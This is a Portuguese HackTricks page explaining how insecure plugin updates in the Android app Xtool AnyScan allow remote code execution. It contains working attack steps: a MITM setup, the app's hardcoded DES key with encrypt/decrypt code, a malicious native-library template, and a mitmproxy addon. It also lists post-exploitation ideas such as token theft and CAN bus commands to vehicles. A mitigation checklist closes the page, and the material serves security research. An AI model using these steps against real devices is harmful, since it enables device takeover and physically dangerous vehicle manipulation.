Mecanismos de Atualização Insegura em Aplicativos – Execução Remota de Código via Plugins Maliciosos

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Muitos aplicativos Android implementam seus próprios canais de atualização de “plugin” ou “recurso dinâmico” em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer código nativo arbitrário que será carregado dentro do processo do aplicativo, levando à execução remota de código (RCE) total no dispositivo – e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).

Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool AnyScan (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red team.


1. Identificando um TrustManager TLS Inseguro

  1. Descompile o APK com jadx / apktool e localize a pilha de rede (OkHttp, HttpUrlConnection, Retrofit…).
  2. Procure por um TrustManager ou HostnameVerifier personalizado que confia cegamente em todos os certificados:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Se presente, o aplicativo aceitará qualquer certificado TLS → você pode executar um proxy MITM transparente com um certificado autoassinado:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

2. Engenharia Reversa dos Metadados de Atualização

No caso do AnyScan, cada lançamento do aplicativo aciona um GET HTTPS para:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

O corpo da resposta é um documento XML cujos nós <FileData> contêm JSON criptografado em DES-ECB e codificado em Base64 descrevendo cada plugin disponível.

Passos típicos de busca:

  1. Localize a rotina de criptografia (por exemplo, RemoteServiceProxy) e recupere:
  • algoritmo (DES / AES / RC4 …)
  • modo de operação (ECB / CBC / GCM …)
  • chave / IV codificados (frequentemente chaves DES de 56 bits ou chaves AES de 128 bits em constantes)
  1. Reimplemente a função em Python para descriptografar / criptografar os metadados:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

3. Crie um Plugin Malicioso

  1. Escolha qualquer plugin legítimo em formato ZIP e substitua a biblioteca nativa pelo seu payload:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Atualize os metadados JSON para que "FileName" : "PWNED.zip" e "DownloadURL" aponte para seu servidor HTTP.
  2. Encripte em DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.

4. Entregue o Payload com mitmproxy

addon.py exemplo que silenciosamente troca os metadados originais:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Execute um servidor web simples para hospedar o ZIP malicioso:

bash
python3 -m http.server 8000 --directory ./payloads

Quando a vítima inicia o aplicativo, ele irá:

  • buscar nosso XML forjado através do canal MITM;
  • descriptografá-lo e analisá-lo com a chave DES codificada;
  • baixar PWNED.zip → descompactar dentro do armazenamento privado;
  • dlopen() a libscan_x64.so incluída, executando instantaneamente nosso código com as permissões do aplicativo (câmera, GPS, Bluetooth, sistema de arquivos, ...).

Como o plugin é armazenado em cache no disco, o backdoor persiste entre reinicializações e é executado toda vez que o usuário seleciona o recurso relacionado.

5. Ideias de Pós-Exploração

  • Roubar cookies de sessão, tokens OAuth ou JWTs armazenados pelo aplicativo.
  • Lançar um APK de segunda fase e instalá-lo silenciosamente via pm install (o aplicativo já possui REQUEST_INSTALL_PACKAGES).
  • Abusar de qualquer hardware conectado – no cenário AnyScan, você pode enviar comandos OBD-II / CAN bus arbitrários (destrancar portas, desativar ABS, etc.).

Lista de Verificação de Detecção e Mitigação (equipe azul)

  • NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificados.
  • Não baixe código executável de fora do Google Play. Se você precisar, assine cada plugin com a mesma chave apkSigning v2 e verifique a assinatura antes de carregar.
  • Substitua criptografia fraca/codificada por AES-GCM e uma chave rotativa do lado do servidor.
  • Valide a integridade dos arquivos baixados (assinatura ou pelo menos SHA-256).

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks